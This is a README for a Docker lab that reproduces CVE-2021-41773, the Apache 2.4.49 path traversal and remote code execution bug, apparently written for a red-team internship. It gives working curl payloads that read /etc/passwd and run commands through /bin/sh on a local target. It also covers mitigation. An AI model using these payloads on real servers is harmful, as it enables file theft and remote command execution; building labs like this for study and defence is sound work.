## https://sploitus.com/exploit?id=84F0CAB9-55AC-5D9D-9922-2D5E505F963E
# CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal & RCE Lab
> ⚠️ **For isolated, educational lab use ONLY.**
> This repository builds a **deliberately vulnerable** Apache server. Never run
> it on a live, production, or internet-facing host. The container binds to
> `127.0.0.1` only. Tear it down when finished.
A self-contained Docker lab that reproduces **CVE-2021-41773**, the path
traversal / remote code execution vulnerability in Apache HTTP Server **2.4.49**.
Built as part of the ITSOLERA Red Team internship task (Offensive Security —
Exploit Development for a Known CVE).
**This folder is the "Lab Setup" deliverable (Member 2).** It gives the rest of
the team a ready-to-run, confirmed-vulnerable target.
---
## The vulnerability in one line
Apache 2.4.49 decodes a `%2e`-encoded dot **after** its path-normalisation check,
so a request like `/files/.%2e/.%2e/.%2e/.%2e/etc/passwd` escapes the document
root. If `mod_cgi` is enabled, the same trick against `/bin/sh` yields remote code
execution. The bug is only reachable when a `` is set to
`Require all granted` (this lab sets that deliberately).
- **Affected:** Apache HTTP Server 2.4.49 only
- **Incomplete fix:** 2.4.50 → CVE-2021-42013
- **Fully fixed:** 2.4.51
- **CVSS v3.1:** 7.5 (file read) / up to 9.8 with CGI enabled (RCE)
---
## Repository contents
| File | Purpose |
|------|---------|
| `Dockerfile` | Builds `httpd:2.4.49` with the vulnerable configuration |
| `httpd.conf` | The vulnerable Apache config (`Require all granted`, `mod_cgid`) |
| `docker-compose.yml` | One-command build/run, bound to `127.0.0.1:8080` |
| `cgi-bin/test.cgi` | Harmless CGI so the RCE (execute) path can be demonstrated |
| `SETUP.md` | **Full setup, verification, evidence and troubleshooting guide** |
---
## Quick start
```bash
# Build and run
docker build -t cve-2021-41773-lab:2.4.49 .
docker run -d --name apache-2449-vuln -p 127.0.0.1:8080:80 cve-2021-41773-lab:2.4.49
# Confirm the vulnerable version
docker exec apache-2449-vuln httpd -v # -> Apache/2.4.49 (Unix)
```
### Verify it is vulnerable
```bash
# Arbitrary file read (via the /files/ alias)
curl --path-as-is "http://127.0.0.1:8080/files/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Remote code execution (via the /cgi-bin/ ScriptAlias)
curl --path-as-is --data "echo Content-Type: text/plain; echo; id" \
"http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
```
Expected: the contents of `/etc/passwd`, and `uid=33(www-data) ...` respectively.
### Tear down
```bash
docker rm -f apache-2449-vuln
```
See **[SETUP.md](SETUP.md)** for the complete walkthrough, the full test matrix
(including the negative control), evidence-collection steps, and troubleshooting.
---
## Mitigation
Upgrade to Apache HTTP Server **2.4.51 or later**. As defence in depth, ensure
`` uses `Require all denied` by default and only grant access to
directories that need it.
---
## Legal / ethical note
Testing is restricted to this local, isolated lab. Do not use these techniques
against systems you do not own or have explicit written authorisation to test.